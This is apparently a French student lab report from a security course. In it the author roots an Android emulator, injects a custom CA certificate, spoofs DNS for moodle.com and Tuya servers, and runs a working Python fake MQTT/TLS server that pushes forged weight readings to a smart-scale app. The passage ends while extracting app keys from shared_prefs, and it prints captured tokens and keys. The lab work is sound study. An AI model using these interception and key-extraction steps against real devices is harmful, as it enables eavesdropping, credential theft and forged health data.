En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du PC qui est simulée comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
== Seconde tentative ==&lt;br /&gt;
&lt;br /&gt;
Pour cette seconde tentative, j'utilise les commandes suivantes avec plusieurs ISO Android.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw&lt;br /&gt;
qemu-system-x86_64 -net nic -net user -m 1024 -enable-kvm -display sdl -drive file=android.img,format=raw -cdrom *android-x86*.iso -boot d&lt;br /&gt;
qemu-system-x86_64     -m 2048     -enable-kvm     -cpu host     -smp 2     -display sdl     -drive file=android.img,format=raw,if=virtio     -usb     -device usb-host,vendorid=0x148f,productid=0x5370&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai pu donc pu faire face:&lt;br /&gt;
&lt;br /&gt;
- À un ISO sans les services Google et sans navigateur ...&lt;br /&gt;
&lt;br /&gt;
- Un trop ancien pour Nedis&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse l'installation d'APK&lt;br /&gt;
&lt;br /&gt;
- Un trop récent pour l'installation de certificat.&lt;br /&gt;
&lt;br /&gt;
- Un qui refuse de se laisser root&lt;br /&gt;
&lt;br /&gt;
En fin de séance, je n'ai malheureusement pas de VM Android fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
== Ultime tentative (qui marche) ==&lt;br /&gt;
Cette fois-ci j'utilise l'application Android Studio qui permet d'émuler des téléphones Android pour le débogage d'application. On va donc s'en servir pour créer un Android routé qui va recevoir notre certificat.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai donc routé mon téléphone avec l'utilitaire Magisk en suivant ce tutoriel : https://www.youtube.com/watch?v=QzsNn3GhYYk&amp;amp;t=374s.&lt;br /&gt;
&lt;br /&gt;
Puis je viens ajouter un module dans Magisk qui permet de recharger à chaque démarrage du téléphone le certificat en question.&lt;br /&gt;
&lt;br /&gt;
Le certificat peut être ajouté dans le téléphone en utilisant la commande &amp;lt;code&amp;gt;adb push xyzxyzxyz.0&amp;lt;/code&amp;gt; .&lt;br /&gt;
&lt;br /&gt;
La manipulation est la suivante :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
adb shell&lt;br /&gt;
su&lt;br /&gt;
cd /data/adb/modules/&lt;br /&gt;
mkdir -p tuya_cert/system/etc/security/cacerts&lt;br /&gt;
echo &amp;quot;id=tuya_cert&amp;quot; &amp;gt; tuya_cert/module.prop echo &amp;quot;name=Tuya Certificate Injection&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;version=1.0&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;versionCode=1&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;author=Victo&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop echo &amp;quot;description=Injecte le certificat Tuya dans le systeme&amp;quot; &amp;gt;&amp;gt; tuya_cert/module.prop&lt;br /&gt;
touch tuya_cert/auto_mount&lt;br /&gt;
cp /sdcard/Download/26e33623.0 /data/adb/modules/tuya_cert/system/etc/security/cacerts/&lt;br /&gt;
chmod 644 /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
chown root:root /data/adb/modules/tuya_cert/system/etc/security/cacerts/26e33623.0&lt;br /&gt;
reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On a donc maintenant une VM Android avec notre certificat. Il faut maintenant que le PC qui host cette VM soit connecté à notre borne WiFi pour pouvoir constater que notre site Moodle.com est bien redirigé et sécurisé. &lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
(cette page web date du 06/10/25, elle n'est plus valable depuis le 10/10/25...)&lt;br /&gt;
&lt;br /&gt;
= Nedis Wi-Fi Smart Personal Scales =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans ce second TP, nous allons jouer avec ce pèse-personne de nedis. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, j'ai connecté la balance au réseau SE5-SSID10.&lt;br /&gt;
&lt;br /&gt;
Puis j'ai remarqué que quand je tentais de me peser, la balance affichait err2.&lt;br /&gt;
&lt;br /&gt;
Après une courte investigation, il s'agit d'une balance qui émet des signaux électriques pour analyser la composition corporelle donc si on se pèse avec des chaussures, cela pose problème.&lt;br /&gt;
&lt;br /&gt;
Pour la suite du projet, on se pèsera avec les mains.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Poid_sur_app_nedis.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
== Redirection du poids vers notre serveur ==&lt;br /&gt;
Dans un premier temps, mon idée était de faire croire à la balance qu'elle communique effectivement avec son serveur pour pouvoir récupérer les informations sur la santé de l'utilisateur. &lt;br /&gt;
&lt;br /&gt;
Ici on constate sur ces paquets la requête de la balance pour obtenir une IP, puis le moment où elle l'obtient.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:WS connection balance.png|sans_cadre|858x858px]]&lt;br /&gt;
&lt;br /&gt;
Je peux donc ping ma balance depuis mon PC (celui qui host ma VM Android)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PIng balance.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant je veux voir les messages de communication entre la balance, son serveur et l'application, pour ce faire, je fais &amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
14:46:51.115996 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 13861+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.125611 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 13861 3/0/0 A 3.120.92.134, A 18.184.31.90, A 35.156.44.172 (79)&lt;br /&gt;
14:46:51.168250 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 59035+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.177967 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 59035 3/0/0 A 18.198.62.99, A 18.158.227.228, A 3.67.116.46 (79)&lt;br /&gt;
14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Visiblement notre balance communique avec Tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de Bind, un fichier db.tuyaeu.com et une page Apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que, quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que, dès que la balance tente de se connecter, elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisqu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir à injecter le certificat dans la balance en communiquant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, nous allons tenter d'envoyer un poids à l'application depuis notre serveur.&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;br /&gt;
&lt;br /&gt;
On tente donc d'envoyer en clair le poids vers l'application de Nedis&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs situé dans /data/data/com.nedis.smartlife sur la VM android une clé local qui permettrai de chiffrer le message pour que Nedis l'accepte.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
 emulator64_x86_64_arm64:/data/data/com.nedis.smartlife/shared_prefs # grep -r &amp;quot;localKey&amp;quot;&lt;br /&gt;
&lt;br /&gt;
./sig_mesh_storage.xml:    &amp;lt;string name=&amp;quot;sig_mesheu176237y8062605m7Ddzpr3a6d803edeb314f364c55d2caab540918&amp;quot;&amp;gt;[{&amp;amp;quot;appkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;code&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;endTime&amp;amp;quot;:0,&amp;amp;quot;ivIndex&amp;amp;quot;:0,&amp;amp;quot;key&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;localKey&amp;amp;quot;:&amp;amp;quot;674d29fb978a1705&amp;amp;quot;,&amp;amp;quot;meshId&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;meshKey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;meshkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;name&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;netWorkkey&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;password&amp;amp;quot;:&amp;amp;